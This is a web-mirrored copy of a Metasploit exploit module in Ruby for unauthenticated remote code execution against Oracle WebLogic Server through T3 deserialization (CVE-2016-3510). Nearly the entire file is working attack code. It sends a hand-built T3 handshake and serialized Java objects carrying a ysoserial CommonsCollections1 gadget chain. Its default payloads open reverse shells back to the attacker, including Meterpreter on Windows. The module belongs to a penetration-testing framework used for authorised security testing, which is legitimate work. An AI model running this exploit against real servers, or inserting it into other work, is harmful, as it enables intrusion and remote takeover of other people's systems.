CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/misc/weblogic_deserialize_marshalledobject.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
7
class MetasploitModule < Msf::Exploit::Remote
8
Rank = ManualRanking
9
10
include Msf::Exploit::Remote::Tcp
11
include Msf::Exploit::JavaDeserialization
12
13
def initialize(info={})
14
super(update_info(info,
15
'Name' => 'Oracle Weblogic Server Deserialization RCE - MarshalledObject',
16
'Description' => %q{
17
An unauthenticated attacker with network access to the Oracle Weblogic Server T3
18
interface can send a serialized object (weblogic.corba.utils.MarshalledObject)
19
to the interface to execute code on vulnerable hosts.
20
},
21
'Author' =>
22
[
23
'Andres Rodriguez', # Metasploit Module - 2Secure (@acamro, acamro[at]gmail.com)
24
'Jacob Baines', # Vulnerability Discovery - Tenable Network Security
25
'Aaron Soto', # Reverse Engineering JSO and ysoserial blobs
26
'Steve Embling' # T3S support
27
],
28
'License' => MSF_LICENSE,
29
'References' =>
30
[
31
['CVE', '2016-3510']
32
],
33
'Privileged' => false,
34
'Platform' => %w{ unix win solaris },
35
'Targets' =>
36
[
37
[ 'Unix',
38
'Platform' => 'unix',
39
'Arch' => ARCH_CMD,
40
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_python'},
41
'Payload' => {
42
'Compat' => {'PayloadType' => 'cmd'}
43
}
44
],
45
[ 'Windows',
46
'Platform' => 'win',
47
'Payload' => {},
48
'DefaultOptions' => {'PAYLOAD' => 'windows/meterpreter/reverse_tcp'}
49
],
50
[ 'Solaris',
51
'Platform' => 'solaris',
52
'Arch' => ARCH_CMD,
53
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_perl'},
54
'Payload' => {
55
'Space' => 2048,
56
'DisableNops' => true,
57
'Compat' =>
58
{
59
'PayloadType' => 'cmd',
60
'RequiredCmd' => 'generic perl telnet',
61
}
62
}
63
]
64
],
65
'DefaultTarget' => 0,
66
'DefaultOptions' => { 'WfsDelay' => 12 },
67
'DisclosureDate' => '2016-07-19',
68
'Notes' => {
69
'Reliability' => [REPEATABLE_SESSION],
70
'Stability' => [CRASH_SAFE],
71
'SideEffects' => [IOC_IN_LOGS]
72
}))
73
74
register_options([
75
Opt::RPORT(7001),
76
])
77
78
register_advanced_options([
79
OptBool.new('FORCE_T3', [false, 'Force T3 protocol even over SSL', false])
80
])
81
end
82
83
=begin This check is currently incompatible with the Tcp mixin. :-(
84
def check
85
resp = send_request_cgi(
86
'method' => 'GET',
87
'uri' => '/console/login/LoginForm.jsp'
88
)
89
90
return CheckCode::Unknown unless resp && resp.code == 200
91
92
unless resp.body.include?('Oracle WebLogic Server Administration Console')
93
vprint_warning("Oracle WebLogic Server banner cannot be found")
94
return CheckCode::Unknown
95
end
96
97
/WebLogic Server Version: (?<version>\d+\.\d+\.\d+\.\d*)/ =~ resp.body
98
unless version
99
vprint_warning("Oracle WebLogic Server version cannot be found")
100
return CheckCode::Unknown
101
end
102
103
version = Rex::Version.new(version)
104
vprint_good("Detected Oracle WebLogic Server Version: #{version}")
105
case
106
when version.to_s.start_with?('10.3')
107
return CheckCode::Appears unless version > Rex::Version.new('10.3.6.0')
108
when version.to_s.start_with?('12.1.3')
109
return CheckCode::Appears unless version > Rex::Version.new('12.1.3.0')
110
when version.to_s.start_with?('12.2')
111
return CheckCode::Appears unless version > Rex::Version.new('12.2.1.0')
112
end
113
114
return CheckCode::Safe
115
end
116
=end
117
118
def t3_handshake
119
# retrieved from network traffic
120
if !datastore['SSL'] || datastore['FORCE_T3']
121
shake = 't3'
122
else
123
shake = 't3s'
124
end
125
shake << " 12.2.1\n"
126
shake << "AS:255\n"
127
shake << "HL:19\n"
128
shake << "MS:10000000\n\n"
129
130
sock.put(shake)
131
sleep(1)
132
sock.get_once
133
end
134
135
def build_t3_request_object
136
# T3 request serialized data
137
# retrieved by watching network traffic
138
# This is a proprietary, undocumented protocol
139
# TODO: WHAT DOES THIS DO? CAN WE RANDOMIZE ANY OF IT?
140
data = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a'
141
data << '56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278'
142
data << '700000000a000000030000000000000006007070707070700000000a00000003'
143
data << '0000000000000006007006'
144
145
data << 'fe010000' # ----- separator -----
146
147
data << 'aced0005' # JSO v5 header
148
data << '73' # object header
149
data << '72001d' # className (29 bytes):
150
data << '7765626c6f6769632e726a766d2e436c617373' # weblogic.rjvm.ClassTableEntry
151
data << '5461626c65456e747279' # (continued)
152
data << '2f52658157f4f9ed' # serialVersionUID
153
data << '0c00007870' # remainder of object header
154
data << '72' # object header
155
data << '00247765626c6f6769632e636f6d6d6f6e2e696e74' # className (36 bytes): weblogic.common.internal.PackageInfo
156
data << '65726e616c2e5061636b616765496e666f' # (continued)
157
data << 'e6f723e7b8ae1ec9' # serialVersionUID
158
data << '02' # SC_SERIALIZABLE
159
data << '0008' # fieldCount = 8
160
data << '4900056d616a6f72' # 0: Int: major
161
data << '4900056d696e6f72' # 1: Int: minor
162
data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch
163
data << '49000b736572766963655061636b' # 3: Int: servicePack
164
data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch
165
data << '4c0009696d706c5469746c65' # 5: Obj: implTitle
166
data << '7400124c6a6176612f6c616e672f537472696e673b' # java/lang/String
167
data << '4c000a696d706c56656e646f72' # 6: Obj: implVendor
168
data << '71007e0003' # (Handle) 0x007e0003
169
data << '4c000b696d706c56657273696f6e' # 7: Obj: implVersion
170
data << '71007e0003' # (Handle) 0x007e0003
171
data << '78707702000078' # block footers
172
173
data << 'fe010000' # ----- separator -----
174
175
data << 'aced0005' # JSO v5 header
176
data << '7372' # object header
177
data << '001d7765626c6f6769632e726a766d2e436c6173' # className (29 bytes): weblogic.rjvm.ClassTableEntry
178
data << '735461626c65456e747279' # (continued)
179
data << '2f52658157f4f9ed' # serialVersionUID
180
data << '0c' # EXTERNALIZABLE | BLOCKDATA
181
data << '00007870' # remainder of object header
182
data << '72' # object header
183
data << '00247765626c6f6769632e636f6d6d6f6e2e696' # className (36 bytes): weblogic.common.internal.VersionInfo
184
data << 'e7465726e616c2e56657273696f6e496e666f' # (continued)
185
data << '972245516452463e' # serialVersionUID
186
data << '02' # SC_SERIALIZABLE
187
data << '0003' # fieldCount = 3
188
data << '5b0008' # array header (8 bytes)
189
data << '7061636b61676573' # ARRAY NAME = 'packages'
190
data << '740027' # TC_STRING className1 (39 bytes)
191
data << '5b4c7765626c6f6769632f636f6d6d6f6e2f69' # weblogic/common/internal/PackageInfo
192
data << '6e7465726e616c2f5061636b616765496e666f' # (continued)
193
data << '3b' # (continued)
194
data << '4c000e' # object header (14 bytes)
195
data << '72656c6561736556657273696f6e' # releaseVersion
196
data << '740012' # TC_STRING (18 bytes)
197
data << '4c6a6176612f6c616e672f537472696e673b' # versionInfoAsBytes
198
data << '5b0012' # array header (18 bytes)
199
data << '76657273696f6e496e666f41734279746573' # ARRAY NAME = java/lang/String;
200
data << '740002' # TC_STRING (2 bytes)
201
data << '5b42' # 0x5b42 = [B
202
data << '78' # block footer
203
204
data << '720024' # class (36 bytes)
205
data << '7765626c6f6769632e636f6d6d6f6e2e696e' # weblogic.common.internal.PackageInfo
206
data << '7465726e616c2e5061636b616765496e666f' # (continued)
207
data << 'e6f723e7b8ae1ec9' # serialVersionUID
208
209
data << '02' # SC_SERIALIZABLE
210
data << '0008' # fieldCount = 8
211
data << '4900056d616a6f72' # 0: Int: major
212
data << '4900056d696e6f72' # 1: Int: minor
213
data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch
214
data << '49000b736572766963655061636b' # 3: Int: servicePack
215
data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch
216
data << '4c0009696d706c5469746c65' # 5: Obj: implTitle
217
data << '71' # TC_REFERENCE
218
data << '007e0004' # Handle = 0x007e0004
219
data << '4c000a696d706c56656e646f72' # 6: Obj: implVendor
220
data << '71' # TC_REFERENCE
221
data << '007e0004' # Handle = 0x007e0004
222
data << '4c000b696d706c56657273696f6e' # 7: Obj: implVersion
223
data << '71' # TC_REFERENCE
224
data << '007e0004' # Handle = 0x007e0004
225
data << '78' # class footer
226
data << '70' # TC_NULL
227
data << '77020000' # BLOCKDATA (2 bytes): 0x0000
228
data << '78' # block footer
229
230
data << 'fe010000' # ----- separator -----
231
232
data << 'aced0005' # JSO v5 header
233
data << '73' # object header
234
data << '72001d' # className (29 bytes):
235
data << '7765626c6f6769632e726a766d2e436c617373' # weblogic.rjvm.ClassTableEntry
236
data << '5461626c65456e747279' # (continued)
237
data << '2f52658157f4f9ed' # serialVersionUID
238
data << '0c00007870' # remainder of object header
239
data << '720021' # className (33 bytes)
240
data << '7765626c6f6769632e636f6d6d6f6e2e696e74' # weblogic.common.internal.PeerInfo
241
data << '65726e616c2e50656572496e666f' # (continued)
242
data << '585474f39bc908f1' # serialVersionUID
243
data << '02' # SC_SERIALIZABLE
244
data << '0006' # fieldCount = 6
245
data << '4900056d616a6f72' # 0: Int: major
246
data << '4900056d696e6f72' # 1: Int: minor
247
data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch
248
data << '49000b736572766963655061636b' # 3: Int: servicePack
249
data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch
250
data << '5b00087061636b61676573' # 5: Array: packages
251
data << '740027' # TC_STRING (39 bytes)
252
data << '5b4c7765626c6f6769632f636f6d6d6f6e2f69' # Lweblogic/common/internal/PackageInfo;
253
data << '6e7465726e616c2f5061636b616765496e666f' # (continued)
254
data << '3b' # (continued)
255
data << '78' # block footer
256
data << '720024' # class (36 bytes)
257
data << '7765626c6f6769632e636f6d6d6f6e2e696e74' # Lweblogic/common/internal/PackageInfo;
258
data << '65726e616c2e56657273696f6e496e666f' # (continued)
259
data << '972245516452463e' # serialVersionUID
260
data << '02' # SC_SERIALIZABLE
261
data << '0003' # fieldCount = 3
262
data << '5b0008' # 0: Array
263
data << '7061636b6167657371' # packages
264
data << '007e0003' # Handle = 0x00730003
265
data << '4c000e72656c6561736556657273696f6e' # 1: Obj: releaseVersion
266
data << '7400124c6a6176612f6c616e672f537472696e673b' # Ljava/lang/String;
267
data << '5b001276657273696f6e496e666f41734279746573' # 2: Array: versionInfoAsBytes
268
data << '740002' # TC_STRING (2 bytes)
269
data << '5b42' # VALUE = 0x5b42 = [B
270
data << '78' # block footer
271
data << '720024' # class: (36 bytes)
272
data << '7765626c6f6769632e636f6d6d6f6e2e696e746572' # Name = weblogic.common.internal.PackageInfo
273
data << '6e616c2e5061636b616765496e666f' # (continued)
274
data << 'e6f723e7b8ae1ec9' # serialVersionUID
275
data << '02' # SC_SERIALIZABLE
276
data << '0008' # fieldCount = 8
277
data << '4900056d616a6f72' # 0: Int: major
278
data << '4900056d696e6f72' # 1: Int: minor
279
data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch
280
data << '49000b736572766963655061636b' # 3: Int: servicePack
281
data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch
282
data << '4c0009696d706c5469746c65' # 5: Obj: implTitle
283
data << '71' # TC_REFERENCE
284
data << '007e0005' # Handle = 0x007e0005
285
data << '4c000a696d706c56656e646f72' # 6: Obj: implVendor
286
data << '71' # TC_REFERENCE
287
data << '007e0005' # Handle = 0x007e0005
288
data << '4c000b696d706c56657273696f6e' # 7: Obj: implVersion
289
data << '71' # TC_REFERENCE
290
data << '007e0005' # Handle = 0x007e0005
291
data << '78' # class footer
292
data << '707702000078' # block footers
293
294
data << 'fe00ff' # this cruft again. some kind of footer
295
296
data << 'fe010000' # ----- separator -----
297
298
# weblogic.rjvm.JVMID object
299
data << 'aced0005' # JSO v5 header
300
data << '73' # object header
301
data << '720013' # class (19 bytes)
302
data << '7765626c6f6769632e726a766d2e4a564d4944' # name = 'weblogic.rjvm.JVMID'
303
data << 'dc49c23ede121e2a' # serialVersionUID
304
data << '0c' # EXTERNALIZABLE | BLOCKDATA
305
data << '0000' # fieldCount = 0 (!!!)
306
data << '78' # block footer
307
data << '70' # NULL
308
data << '7750' # block header (80 bytes)
309
data << '21' # !
310
data << '000000000000000000' # 9 NULL BYTES
311
data << '0d' # \n
312
data << '3139322e3136382e312e323237' # 192.168.1.227
313
data << '00' # \0
314
data << '12' # #TODO: UNKNOWN
315
data << '57494e2d4147444d56515542315436' # WIN-AGDMVQUB1T6
316
data << '2e' # #TODO: UNKNOWN
317
data << '656883348cd6000000070000' # #TODO: UNKNOWN
318
data << rport.to_s(16).rjust(4, '0') # callback port
319
data << 'ffffffffffffffffffffffffffffffffffffff' # #TODO: UNKNOWN
320
data << 'ffffffffff' # #TODO: UNKNOWN
321
data << '78' # block footer
322
323
data << 'fe010000' # ----- separator -----
324
325
# weblogic.rjvm.JVMID object
326
data << 'aced0005' # JSO v5 header
327
data << '73' # object header
328
data << '72' # class
329
data << '00137765626c6f6769632e726a766d2e4a564d4944' # Name: weblogic.rjvm.JVMID
330
data << 'dc49c23ede121e2a' # serialVersionUID
331
data << '0c' # EXTERNALIZABLE | BLOCKDATA
332
data << '0000' # fieldCount = 0
333
data << '78' # end block
334
data << '70' # TC_NULL
335
data << '77' # block header
336
data << '20' # length = 32 bytes
337
data << '0114dc42bd071a772700' # #TODO: UNKNOWN
338
data << '0d' # \n
339
data << '3234322e3231342e312e323534' # 242.214.1.254
340
data << '61863d1d' # #TODO: UNKNOWN
341
data << '00000000' # NULL BYTES
342
data << '78' # block footer
343
344
sock.put([data].pack('H*'))
345
sleep(1)
346
sock.get_once
347
end
348
349
def send_payload_objdata
350
# basic weblogic ClassTableEntry object (serialized)
351
# TODO: WHAT DOES THIS DO? CAN WE RANDOMIZE ANY OF IT?
352
objdata = '056508000000010000001b0000005d0101007372017870737202787000000000'
353
objdata << '00000000757203787000000000787400087765626c6f67696375720478700000'
354
objdata << '000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306'
355
356
objdata << 'fe010000' # ----- separator -----
357
358
objdata << 'aced0005' # JSO v5 header
359
objdata << '73' # object header
360
objdata << '72' # class
361
objdata << '001d7765626c6f6769632e726a766d2e436c61' # Name: weblogic.rjvm.ClassTableEntry
362
objdata << '73735461626c65456e747279' # (cont)
363
objdata << '2f52658157f4f9ed' # serialVersionUID
364
objdata << '0c' # EXTERNALIZABLE | BLOCKDATA
365
objdata << '0000' # fieldCount = 0
366
objdata << '7870' # remaining object header
367
objdata << '72' # class header
368
objdata << '00025b42' # Name: 0x5b42
369
objdata << 'acf317f8060854e0' # serialVersionUID
370
objdata << '02' # SERIALIZABLE
371
objdata << '0000' # fieldCount = 0
372
objdata << '7870' # class footer
373
objdata << '77' # block header
374
objdata << '020000' # contents = 0x0000
375
objdata << '78' # block footer
376
377
objdata << 'fe010000' # ----- separator -----
378
379
objdata << 'aced0005' # JSO v5 header
380
objdata << '73' # object header
381
objdata << '72' # class
382
objdata << '001d7765626c6f6769632e726a766d2e436c61' # Name: weblogic.rjvm.ClassTableEntry
383
objdata << '73735461626c65456e747279' # (cont)
384
objdata << '2f52658157f4f9ed' # serialVersionUID
385
objdata << '0c' # EXTERNALIZABLE | BLOCKDATA
386
objdata << '0000' # fieldCount = 0
387
objdata << '7870' # remaining object header
388
objdata << '72' # class header
389
390
objdata << '00135b4c6a6176612e6c616e672e4f626a' # Name: [Ljava.lang.Object;
391
objdata << '6563743b' # (cont)
392
objdata << '90ce589f1073296c' # serialVersionUID
393
objdata << '02' # SERIALIZABLE
394
objdata << '0000' # fieldCount = 0
395
objdata << '7870' # remaining object header
396
objdata << '77' # block header
397
objdata << '020000' # contents = 0x0000
398
objdata << '78' # block footer
399
400
objdata << 'fe010000' # ----- separator -----
401
402
objdata << 'aced0005' # JSO v5 header
403
objdata << '73' # object header
404
objdata << '72' # class
405
406
objdata << '001d7765626c6f6769632e726a766d2e436c61' # Name: weblogic.rjvm.ClassTableEntry
407
objdata << '73735461626c65456e747279' # (cont)
408
objdata << '2f52658157f4f9ed' # serialVersionUID
409
objdata << '0c' # SERIALIZABLE | BLOCKDATA
410
objdata << '0000' # fieldCount = 0
411
objdata << '7870' # block footer
412
objdata << '72' # class header
413
objdata << '00106a6176612e7574696c2e566563746f72' # Name: java.util.Vector
414
objdata << 'd9977d5b803baf01' # serialVersionUID
415
objdata << '03' # WRITE_METHOD | SERIALIZABLE
416
objdata << '0003' # fieldCount = 3
417
objdata << '4900116361706163697479496e6372656d656e74' # 0: Int: capacityIncrement
418
objdata << '49000c656c656d656e74436f756e74' # 1: Int: elementCount
419
objdata << '5b000b656c656d656e7444617461' # 2: Array: elementData
420
objdata << '7400135b4c6a6176612f6c616e672f4f626a6563' # 3: String: [Ljava/lang/Object;
421
objdata << '743b' # (cont)
422
objdata << '7870' # remaining object header
423
objdata << '77' # block header
424
objdata << '020000' # contents = 0x0000
425
objdata << '78' # block footer
426
427
objdata << 'fe010000' # ----- separator -----
428
429
# payload generated from ysoserial and wrapped in a MarshalledObject:
430
objdata << 'aced0005' # JSO v5 header
431
objdata << '73' # object header
432
objdata << '72' # class header
433
434
objdata << '00257765626c6f6769632e636f7262612e757469' # Name = weblogic.corba.utils.MarshalledObject
435
objdata << '6c732e4d61727368616c6c65644f626a656374' # (cont)
436
objdata << '592161d5f3d1dbb6' # serialVersionUID
437
objdata << '02' # SERIALIZABLE
438
objdata << '0002' # fieldCount = 2
439
objdata << '49000468617368' # 0: Int: hash
440
objdata << '5b00086f626a4279746573' # 1: Array: objBytes
441
objdata << '7400025b42' # Value: 0x5b42
442
objdata << '7870' # class footer
443
# class Data:
444
objdata << '21210fdc' # hash = 0x21210fdc (555814876d)
445
objdata << '757200025b42' # objBytes = [ 0x5b42 ]
446
objdata << 'acf317f8060854e0' # serialVersionUID
447
objdata << '02' # SERIALIZABLE
448
objdata << '0000' # fieldCount = 0
449
objdata << '7870' # class footer
450
objdata << '0000' # arraySize (first two bytes)
451
452
# java -jar ysoserial-0.0.5-all.jar CommonsCollections1 calc.exe
453
java_payload = generate_java_deserialization_for_payload('CommonsCollections1', payload)
454
objdata << (java_payload.length).to_s(16).rjust(4, '0')# arraySize (lower two bytes)
455
objdata << java_payload.each_byte.map { |b| b.to_s(16).rjust(2,'0') }.join
456
457
# basic weblogic ImmutableServiceContext object (serialized)
458
objdata << 'fe010000' # ----- separator -----
459
460
objdata << 'aced0005' # JSO v5 header
461
objdata << '73' # object header
462
objdata << '72' # class
463
objdata << '00257765626c6f6769632e726a766d2e496d6d75' # Name = weblogic.rjvm.ImmutableServiceContext
464
objdata << '7461626c6553657276696365436f6e74657874' # (cont)
465
objdata << 'ddcba8706386f0ba' # serialVersionUID
466
objdata << '0c' # SERIALIZABLE | BLOCKDATA
467
objdata << '0000' # fieldCount = 0
468
objdata << '78' # remainder of object header
469
objdata << '72' # class header
470
objdata << '00297765626c6f6769632e726d692e70726f7669' # Name: weblogic.rmi.provider.BasicServiceContext
471
objdata << '6465722e426173696353657276696365436f6e74' # (cont)
472
objdata << '657874' # (cont)
473
objdata << 'e4632236c5d4a71e' # serialVersionUID
474
objdata << '0c' # SERIALIZABLE | BLOCKDATA
475
objdata << '0000' # fieldCount = 0
476
objdata << '78' # block footer
477
objdata << '70' # TC_NULL
478
objdata << '77' # block header
479
objdata << '020600' # Contents: 0x0600 (1536d) ### LENGTH OFFSET ADDED BELOW #TODO: WHY?
480
objdata << '73' # object header
481
objdata << '72' # class description
482
objdata << '00267765626c6f6769632e726d692e696e746572' # Name = weblogic.rmi.internal.MethodDescriptor
483
objdata << '6e616c2e4d6574686f6444657363726970746f72' # (cont)
484
objdata << '12485a828af7f67b' # serialVersionUID
485
objdata << '0c' # EXTERNALIZABLE | BLOCKDATA
486
objdata << '0000' # fieldCount = 0
487
objdata << '78' # block footer
488
objdata << '70' # TC_NULL
489
objdata << '77' # block header
490
objdata << '34002e61757468656e746963617465284c776562' # HEX-ASCII: authenticate(Lweblogic.security.acl.UserInfo;)
491
objdata << '6c6f6769632e73656375726974792e61636c2e55' # (cont)
492
objdata << '736572496e666f3b290000001b' # (cont)
493
objdata << '78' # block footer
494
objdata << '78' # object footer
495
496
objdata << 'fe00ff' # this cruft again. some kind of footer
497
498
# sets the length of the stream
499
data = ((objdata.length >> 1) + 4).to_s(16).rjust(8,'0')
500
data << objdata
501
502
sock.put([data].pack('H*'))
503
sleep(1)
504
sock.get_once
505
end
506
507
def exploit
508
connect
509
510
print_status('Sending handshake...')
511
t3_handshake
512
513
print_status('Sending T3 request object...')
514
build_t3_request_object
515
516
print_status('Sending client object payload...')
517
send_payload_objdata
518
519
handler
520
disconnect
521
end
522
end
523
524